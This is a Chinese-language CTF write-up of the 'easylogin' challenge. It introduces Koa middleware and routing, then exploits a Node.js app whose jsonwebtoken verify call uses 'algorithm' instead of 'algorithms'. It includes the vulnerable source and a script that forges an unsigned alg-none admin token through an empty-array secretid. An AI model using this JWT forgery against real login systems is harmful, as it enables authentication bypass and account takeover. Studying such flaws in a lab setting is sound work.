hfctf - easylogin

nodejs 弱类型比较
jwt 配置不当

基本骨架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const koa = require("koa2")
const app = new koa

app.use(async (ctx, next) => {
ctx.test = '1'
ctx.response.status = 200 // ctx 既可以用来做http的请求和响应处理,也可以当作中间件之间的全局变量
ctx.response.body = 'hi, k1ea4c'
await next() // 执行下一个中间件
})

app.use(async (ctx, next) => {
console.log(ctx.test)
await next()
})

app.listen(3000)

koa-router

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//  app.js
const koa = require('koa2')
const app = new koa()
const fs = require('fs')
const Router = require('koa-router')
const router = new Router()

app.use(async (ctx, next) => {
if (ctx.request.path === '/') {
ctx.response.status = 200
ctx.response.body = 'index'
}
await next()
})

let urls = fs.readdirSync(__dirname + '/urls')
urls.forEach((element) => {
let module = require(__dirname + '/urls/' + element)
router.use('/' + element.replace('.js', ''), module.routes(), module.allowedMethods())
})
app.use(router.routes())

app.listen(3000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// urls/home.js
const Router = require('koa-router')
const home = new Router()

// /home
home.get('/', async (ctx, next) => {
ctx.response.status = 200
ctx.response.body = 'home'
await next()
})

// home/list
home.get('/list', async (ctx, next) => {
ctx.response.status = 200
ctx.response.body = 'home-list'
await next()
})

module.exports = home

koa-static

1
2
3
4
5
const static_ = require('koa-static')

app.use(static_(
path.join(__dirname, './static')
))

body-parse

1
2
3
4
5
6
7
8
const bodyParser = require('koa-bodyparser')

app.use(bodyParser())

app.use(async (ctx, next) => {
// 载入使用,post 的数据被挂载到 ctx.request.body,是一个 key => value 的 集合
await next()
})

koa-views

题目

看师傅们的wp都是说能凭经验猜出 controllers/api.js,强啊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

这道题主要漏洞点是出题人 用 verify 时误用成 algorithm

https://github.com/auth0/node-jsonwebtoken/blob/master/verify.js

1
2
3
if (!hasSignature && !options.algorithms) {
options.algorithms = ['none'];
}

再来看个测试,加密算法为none,如果只要密钥为空和 algorithms参数 不存在,就能使解密算法为 none

1
2
3
4
5
6
7
const jwt = require('jsonwebtoken')
token = jwt.sign({secretid:'k1ea4c', username:'k1ea4c', password:'123456'}, 'helloworld', {algorithm: 'none'});
console.log(token)
result = jwt.verify(token, "helloworld", {algorithm: 'HS256'})
console.log(result)

//报错
1
2
3
4
5
const jwt = require('jsonwebtoken')
token = jwt.sign({secretid:'k1ea4c', username:'k1ea4c', password:'123456'}, 'helloworld', {algorithm: 'none'});
console.log(token)
result = jwt.verify(token, undefined, {algorithm: 'HS256'})
console.log(result)

如何让密钥为空,只要构造的时候 secretid 为空字符串或者数组就可以使 secret 为 undefined

1
2
3
4
a = []
sid = []
secret = a[sid];
console.log(secret)
1
2
3
4
sid = ''
if(sid === undefined || sid === null || !(sid < 10 && sid >= 0)) {
console.log('login error', 'no such secret id');
}

伪造下token

1
2
3
const jwt = require('jsonwebtoken')
token = jwt.sign({secretid:[], username:'admin', password:'123456'}, 'helloworld', {algorithm: 'none'});
console.log(token)

登录进去修改token的值就可以进去拿 flag 了